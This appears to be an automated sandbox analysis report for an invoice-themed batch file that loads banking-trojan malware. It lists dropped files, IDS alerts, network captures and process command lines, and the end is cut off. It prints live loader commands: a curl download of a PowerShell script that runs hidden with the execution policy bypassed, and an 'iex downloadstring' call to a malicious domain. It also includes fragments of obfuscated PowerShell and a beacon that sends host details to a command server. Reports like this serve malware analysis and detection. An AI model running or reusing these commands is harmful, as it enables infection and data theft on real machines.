Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....,p~.=.....C.9..8..._yr.0x.y...&I..O.L4s.m.1..((..b...^......=...6..q.J.%>f..?3}.I..F..t..^..V...:.P8"..:................ "..0.Lw "..0.LwkC.R......%x....}...q..U-...(....%....V..?p.h.........?.o..T..[..f.w..$ D...$.6..D.w....x.U..&..m.....n...U.S...'....Y.E...,../......:^;.5.g5.....z......UH..\ .......B...... "..m.Iw "....Kwm........v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;....

C:\_kjfech8_V\c.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	24286
Entropy (8bit):	7.992282333476335
Encrypted:	true
SSDEEP:	384:MT8/cBozUqKi8DsHqjFnKNSTYY0Rez/5QLkWN6vXiAq+7UYaiaeOaIfxVh+bJ/jW:e8/vUqKFsKw0h1QL7Qvy8UYP6aIfxVgs
MD5:	2F200A8033EB6129E54D5FA818A64A21
SHA1:	68B6D29FF5CA9B4044B130AF7FF4F8FFC7703044
SHA-256:	F7BAA214EC4B2B4B05ABA4AD2CB96B04EB090E8DF9D53FC395B4636661928A25
SHA-512:	9A1A4B444EDAE236EDCF26C2544D9A83F544D0D8F53CFD21A12132D80F0D6D18ACE5B76D907B5FD672412C5B954DF4A738A748D600EDCC0D13B2307AE3FCDA1F
Malicious:	false
Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M........+..M...F.f.q..R,..u..>.r.nw.i@.../9...w.6..;..$dr..yO.n....-.....qH..O....?@....L.9"...]g......w_.1N(...+.............. ".....\| ".....\|kC.R......%x....}...q..U-...(....%....V..?p.h.....l)".N.#.R......v.k@..y..~...I.h...%D'7...Y.....6(..)w....+...........7.`....8.u....h..0p.R%. ).a..^_.B..=H.{.X..........B....". "..PK.\| ".....\|m........v..5...x...(.U?j....$.1.#.~.\........i...}.k..,..7.)X...0..=...a.o9'../>1...`E..l...M.`.#gp..x.u.. ....6Z....4{Q.k'....{.U5.A....a..)...=..>3.2p.c[.....h..........-.fC.~........E.+.....O..1L..A........=]-..0.@.=....6W.`&o.%.....\|.aG..bJ...)..2............yJQ.i%5...(.O!.1.I.Q.....=.bs...3.2..k......H.\|N.C:..G..V.EK.H?.......[...".c..@S[.......'ms#...@.A%...::..c..p.e(....X..{...H../.+..b#.0.`r ..[w.X..9.......8..OF..-.:...'.1.s'.%V.&7..8w..o..t.].S..WG........~a8..mYX9..X.Yu/..L4t.H.D....J..~S....j;

C:\_kjfech8_V\exe.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	947288
Entropy (8bit):	6.629681466265794
Encrypted:	false
SSDEEP:	24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
MD5:	0ADB9B817F1DF7807576C2D7068DD931
SHA1:	4A1B94A9A5113106F40CD8EA724703734D15F118
SHA-256:	98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
SHA-512:	883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................\|....P..P............N..X&...0..Pv...........................C..........@............................................text...\|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\i7.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15936
Entropy (8bit):	6.475860444797363
Encrypted:	false
SSDEEP:	384:Gpsx5cnV21mSHhV8b+lee84SzFnYPLr7aq:GpscnfS/8KUe8jC7aq
MD5:	4AFCAB972E98ECBF855F915B2739F508
SHA1:	615DC2FA827FAB39E16A7E9721F484E7F4D34F8E
SHA-256:	7CC34A5423BD3FC9FA63D20EBECE4103E22E4360DF5B9CAA2B461069DAC77F4D
SHA-512:	58258F74D7E35C5A83234A98BC033846BE5A65146BD992E738A8678706A18C30759BD405FBB30A296181E2F92ACB0219DF8979030CC45D1CDEC6AC06E8BC00D5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........R%^.<v^.<v^.<vW..v\.<vEx.v_.<vEx.v\.<vEx.v[.<v^.=vo.<vEx.vJ.<vEx.v_.<vEx.v_.<vRich^.<v........PE..L......V............................\|........ ....@..........................`......Z.....@.................................4#..P....@..H............&..@....P....... ...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...H....@......................@..@.reloc.......P.......$..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\_kjfech8_V\jli.dll

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11786677
Entropy (8bit):	5.694433926204656
Encrypted:	false
SSDEEP:	98304:yyDhUpv82rzae7Cxd/qmglqhzzewpDbj85nCQRalZLCwpokCFCxJD9LKXo:PyPp7CxwqhvD0JTo
MD5:	C330C02F31F3ADDF099F3EF457F177C3
SHA1:	7410D5A5BFC9FC480CEF4B572AE8A7DA482FC211
SHA-256:	9352FF1DCF47CCAC6895E0C1974B38DABC58DFE9CB356A6168CCD06B5112DD08
SHA-512:	0946B20B5978139FF6E8FEBA29ABAB4251D890E43F46AA7C1FA07AD67371EAF23A616F109A838FD14CA57EB7BB4DD72C186D9C0DBB44627497E6123B7C37AD6A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 19%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...$..g...........!................0.............@.......................................@.......................... ...........0....!..N...................@.......@$.............................................p...........`....................text...d........................... ..`.itext..H........................... ..`.data....S.......T..................@....bss....Dl...`...........................idata...0.......2...6..............@....didata.`............h..............@....edata....... .......v..............@..@.rdata..E....0.......x..............@..@.reloc.......@.......z..............@..B.rsrc....N....!..N... !.............@..@.debug...k...@$..k...n#.............@..@........................................................

C:\_kjfech8_V\jli.txt

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11786680
Entropy (8bit):	5.694435074250896
Encrypted:	false
SSDEEP:	98304:EyDhUpv82rzae7Cxd/qmglqhzzewpDbj85nCQRalZLCwpokCFCxJD9LKXo:NyPp7CxwqhvD0JTo
MD5:	3A4452621480142924BB26CC54B37FCF
SHA1:	137BB88AEC95275F5B618FE3334629EE70920366
SHA-256:	F302E18DEEAAB3F22D035E2D1EB94DD980B2E9DEB81544543FB944CF3D1DAA0A
SHA-512:	6FF8F2B891ABFA0F2D036BFFC9CA5069A1DB6D98C3E3C42C29F4F5F2761E076EEA4F231D2B45040EBA6F517AB5B6718EA4F4971D942ABF57D900F0096E7CD3BC
Malicious:	false
Preview:	{},MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...$..g...........!................0.............@.......................................@.......................... ...........0....!..N...................@.......@$.............................................p...........`....................text...d........................... ..`.itext..H........................... ..`.data....S.......T..................@....bss....Dl...`...........................idata...0.......2...6..............@....didata.`............h..............@....edata....... .......v..............@..@.rdata..E....0.......x..............@..@.reloc.......@.......z..............@..B.rsrc....N....!..N... !.............@..@.debug...k...@$..k...n#.............@..@.....................................................

\Device\ConDrv

Process:	C:\Windows\System32\curl.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	399
Entropy (8bit):	3.2243769951518737
Encrypted:	false
SSDEEP:	6:I2swj2SAykymUeg/8Uni1qSgOgcdSgOgc9eFJNVZNFGI5h:Vz6ykymUexb1U9cL9c9eFJNfNpT
MD5:	323EE4F8E6719CD748191A22C90D2571
SHA1:	2BEC20C3A3212599D6BC0B8E8605EF04397FF0EE
SHA-256:	A7D27E734B1D314C9E18043D7CA0EE809A8B090A5825ED4DAA9F4571F6B9F83F
SHA-512:	9E797E180CF71FE48B5BC189DB0FDA0E34AC4BA7753F83D8B65B75170EDC76C92B36B9EACBB0383FDC80C491B0C40C8D51AE7F129CA3C277EE78B60D43719994
Malicious:	false
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0.100 26455 100 26455 0 0 26455 0 0:00:01 0:00:01 --:--:-- 26038..

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.36691612016954
TrID:
File name:	Factura-2410-CFDI.bat
File size:	1'015 bytes
MD5:	2cba1f2ecba7411565c62f74f8ff095c
SHA1:	e69a4fccd578e235fa31c3edc9d8b4a6974faeb0
SHA256:	1a17e8bd86fbe8d1fb1aedce6182de434a3a8e71488f6d285651c168d03242eb
SHA512:	3bd419ada4704e59b543d495d1718dbc4a146562a47667c60adea11c0c14d4ff1c88f38f12ba112106532ed59eea23a69dfc0d63b9d2154e77d3917cc1bc84d6
SSDEEP:	24:QXKLdVVFbZd8d3UQ3WFYHW9ch6WFYHWI2:zLXIdkAWi29ch6Wi2I2
TLSH:	7A11213291CA933EFD020C2FD0B5D846DB5FC847B34992C1B13A1F18718A698829F1C6
File Content Preview:	@echo off..curl "https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0803-44a8-b1e0-254f44c155e2" -o "C:\Users\Public\Documents\vs1.ps1" ..powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\User

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T00:21:47.576164+0200	2841717	ETPRO MALWARE PowerShell/TrojanDownloader Casbaneiro CnC	1	192.168.11.20	49750	62.72.3.210	80	TCP
2024-10-27T00:21:58.065441+0200	2052642	ET MALWARE Horabot Payload Inbound	1	93.127.200.211	443	192.168.11.20	49752	TCP
2024-10-27T00:21:58.065441+0200	2834717	ETPRO MALWARE PowerShell Inbound with Antivirus Enumeration and Downloading Capabilities	1	93.127.200.211	443	192.168.11.20	49752	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 00:21:25.243632078 CEST	49749	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:26.256391048 CEST	49749	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:28.271619081 CEST	49749	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:32.286343098 CEST	49749	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:40.300307989 CEST	49749	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:46.744873047 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:46.895945072 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:46.896239996 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:46.896555901 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:47.047450066 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.047605991 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.051057100 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:47.244749069 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.576164007 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:47.768862009 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.884037018 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.884052038 CEST	80	49750	62.72.3.210	192.168.11.20
Oct 27, 2024 00:21:47.884290934 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:47.884290934 CEST	49750	80	192.168.11.20	62.72.3.210
Oct 27, 2024 00:21:57.308852911 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.308876038 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.309402943 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.311095953 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.311146975 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.618760109 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.619021893 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.620224953 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.620237112 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.620481014 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.623102903 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.663963079 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.914684057 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.914700985 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.915168047 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:57.915182114 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:57.968902111 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:58.064656019 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.064661980 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.064831972 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:58.064940929 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:58.065130949 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.065135956 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.065392017 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.065403938 CEST	443	49752	93.127.200.211	192.168.11.20
Oct 27, 2024 00:21:58.065622091 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:58.065924883 CEST	49752	443	192.168.11.20	93.127.200.211
Oct 27, 2024 00:21:58.298491001 CEST	49753	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:21:59.324943066 CEST	49753	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:22:01.327224016 CEST	49753	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:22:05.342127085 CEST	49753	80	192.168.11.20	86.38.217.167
Oct 27, 2024 00:22:13.355809927 CEST	49753	80	192.168.11.20	86.38.217.167

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 00:21:56.938231945 CEST	52917	53	192.168.11.20	1.1.1.1
Oct 27, 2024 00:21:57.304321051 CEST	53	52917	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 27, 2024 00:21:56.938231945 CEST	192.168.11.20	1.1.1.1	0x687d	Standard query (0)	fsnat.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 27, 2024 00:21:57.304321051 CEST	1.1.1.1	192.168.11.20	0x687d	No error (0)	fsnat.shop		93.127.200.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fsnat.shop

62.72.3.210

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49750	62.72.3.210	80	6872	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 00:21:46.896555901 CEST	167	OUT	POST /ldht/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.72.3.210 Content-Length: 94 Expect: 100-continue Connection: Keep-Alive
Oct 27, 2024 00:21:47.047605991 CEST	25	IN	HTTP/1.1 100 Continue
Oct 27, 2024 00:21:47.051057100 CEST	94	OUT	Data Raw: 41 54 3d 57 31 30 36 34 5f 30 33 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 20 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 20 45 6e 67 6c 69 73 68 20 28 55 6e 69 74 65 64 20 4b 69 6e 67 64 6f 6d 29 20 20 36 Data Ascii: AT=computer Microsoft Windows 10 Pro Windows Defender English (United Kingdom) 64-Bit CPU
Oct 27, 2024 00:21:47.884037018 CEST	209	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:21:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 42 72 61 7a 69 6c Data Ascii: Brazil

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49752	93.127.200.211	443	7380	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 22:21:57 UTC	77	OUT	GET /a/08/150822/up/up HTTP/1.1 Host: fsnat.shop Connection: Keep-Alive
2024-10-26 22:21:57 UTC	323	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 22:21:57 GMT Server: Apache/2.4.58 (Ubuntu) Strict-Transport-Security: max-age=31536000 Content-Security-Policy: upgrade-insecure-requests Last-Modified: Sat, 19 Oct 2024 12:57:29 GMT ETag: "675b-624d3f649e040" Accept-Ranges: bytes Content-Length: 26459 Connection: close
2024-10-26 22:21:57 UTC	7869	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 5f 5f 5f 2f 2f 2f 2f 2f 2f 2f 2f 2f 20 7b 20 0d 0a 5b 63 6d 64 6c 65 74 42 69 6e 64 69 6e 67 28 29 5d 20 20 20 20 20 0d 0a 70 61 72 61 6d 20 28 20 0d 0a 5b 73 74 72 69 6e 67 5d 24 43 6f 6d 70 75 74 65 72 4e 61 6d 65 20 3d 20 22 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 20 2c 20 0d 0a 24 43 72 65 64 65 6e 74 69 61 6c 20 0d 0a 29 20 0d 0a 20 20 20 20 42 45 47 49 4e 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 77 6d 69 51 75 65 72 79 20 3d 20 22 53 45 4c 45 43 54 20 2a 20 46 52 4f 4d 20 41 6e 74 69 56 69 72 75 73 50 72 6f 64 75 63 74 22 20 0d 0a 20 20 20 20 20 20 20 20 7d 20 0d 0a 20 20 20 20 50 52 4f 43 45 53 53 20 20 0d 0a 20 20 20 20 20 20 20 20 7b 20 20 20 24 41 6e 74 69 Data Ascii: function ____///////// { [cmdletBinding()] param ( [string]$ComputerName = "$env:computername" , $Credential ) BEGIN { $wmiQuery = "SELECT * FROM AntiVirusProduct" } PROCESS { $Anti
2024-10-26 22:21:58 UTC	8000	IN	Data Raw: 5f 5f 7c 7c 7c 7c 7c 7c 5f 7c 7c 7c 7c 7c 7c 5f 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 3d 20 47 65 74 2d 52 61 6e 64 6f 6d 20 2d 49 6e 70 75 74 4f 62 6a 65 63 74 20 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 2e 54 6f 55 70 70 65 72 28 29 20 2d 43 6f 75 6e 74 20 31 0d 0a 66 6f 72 65 61 63 68 28 24 6e 20 69 6e 20 24 7b 5f 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 29 20 7b 0d 0a 24 7b 5f 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 7c 2f 2f 2f 2f 2f 2f 5c 5c 5c 5c 5c 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 5f 7d 20 2b 3d 20 24 6e 0d 0a 7d 0d 0a 66 6f 72 65 61 63 68 20 28 24 Data Ascii: __\|\|\|\|\|\|_\|\|\|\|\|\|_\|//////\\\\\________________} = Get-Random -InputObject ${_\|\|\|\|\|\|\|\|\|\|\|\|\|________________}.ToUpper() -Count 1foreach($n in ${__\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________}) {${_\|\|\|\|\|\|\|\|\|\|\|\|\|//////\\\\\________________} += $n}foreach ($
2024-10-26 22:21:58 UTC	8000	IN	Data Raw: 20 20 0d 0a 20 20 20 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 2d 43 6f 6d 4f 62 6a 65 63 74 20 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 20 3d 20 24 7b 5f 5f 2f 5c 5f 2f 3d 5c 2f 3d 5c 2f 3d 3d 3d 3d 3d 7d 2e 43 72 65 61 74 65 53 68 6f 72 74 63 75 74 28 24 7b 5f 5f 5f 2f 5c 5f 2f 3d 5c 5f 5f 5f 2f 5c 5f 2f 3d 3d 7d 29 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 2e 54 61 72 67 65 74 50 61 74 68 20 3d 20 22 24 7b 2f 5f 2f 2f 5f 2f 2f 5f 2f 7d 22 20 20 20 20 20 20 20 0d 0a 20 20 20 20 24 7b 2f 3d 5c 2f 5c 5f 5f 2f 3d 5c 2f 3d 5c 2f 3d 5c 5f 7d 2e 41 72 67 75 6d 65 6e 74 73 20 3d 20 Data Ascii: ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${/_//_//_/}" ${/=\/\__/=\/=\/=\_}.Arguments =
2024-10-26 22:21:58 UTC	2590	IN	Data Raw: 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 2e 61 74 22 29 20 2d 50 61 74 68 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 63 24 7b 5f 74 78 5f 7d 22 29 0d 0a 52 65 6e 61 6d 65 2d 49 74 65 6d 20 2d 4e 65 77 4e 61 6d 65 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 5f 7d 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 5c 24 7b 5f 5c 5c 5c 5c 5c 5c 2f 7c 5c 5f 2f 7c 2f 5c 5c 5c 5f 5f 5f 5c 5c 5c 5c 2f 7c 5f 7d 2e 6d 64 61 74 22 29 20 2d 50 61 74 68 20 28 22 24 7b 5f 5c 5c 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: \\___\\\\/\|_}.at") -Path ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\c${_tx_}")Rename-Item -NewName ("${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.mdat") -Path ("${_\\////////////////////

Target ID:	0
Start time:	18:21:22
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Factura-2410-CFDI.bat" "
Imagebase:	0x7ff6e4eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	18:21:22
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff742170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	18:21:22
Start date:	26/10/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl "https://firebasestorage.googleapis.com/v0/b/antonidesil.appspot.com/o/at3?alt=media&token=0c52e418-0803-44a8-b1e0-254f44c155e2" -o "C:\Users\Public\Documents\vs1.ps1"
Imagebase:	0x7ff6eb9c0000
File size:	421'376 bytes
MD5 hash:	1C3645EBDDBE2DA6A32A5F9FB43A3C23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	4
Start time:	18:21:23
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\Users\Public\Documents\vs1.ps1"
Imagebase:	0x7ff7245a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	18:21:55
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\computer_kjfech8_V.cmd" "
Imagebase:	0x7ff6e4eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	18:21:55
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff742170000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	18:21:55
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo iex (new-object net.webclient).downloadstring('https://fsnat.shop/a/08/150822/up/up') "
Imagebase:	0x7ff6e4eb0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	18:21:55
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
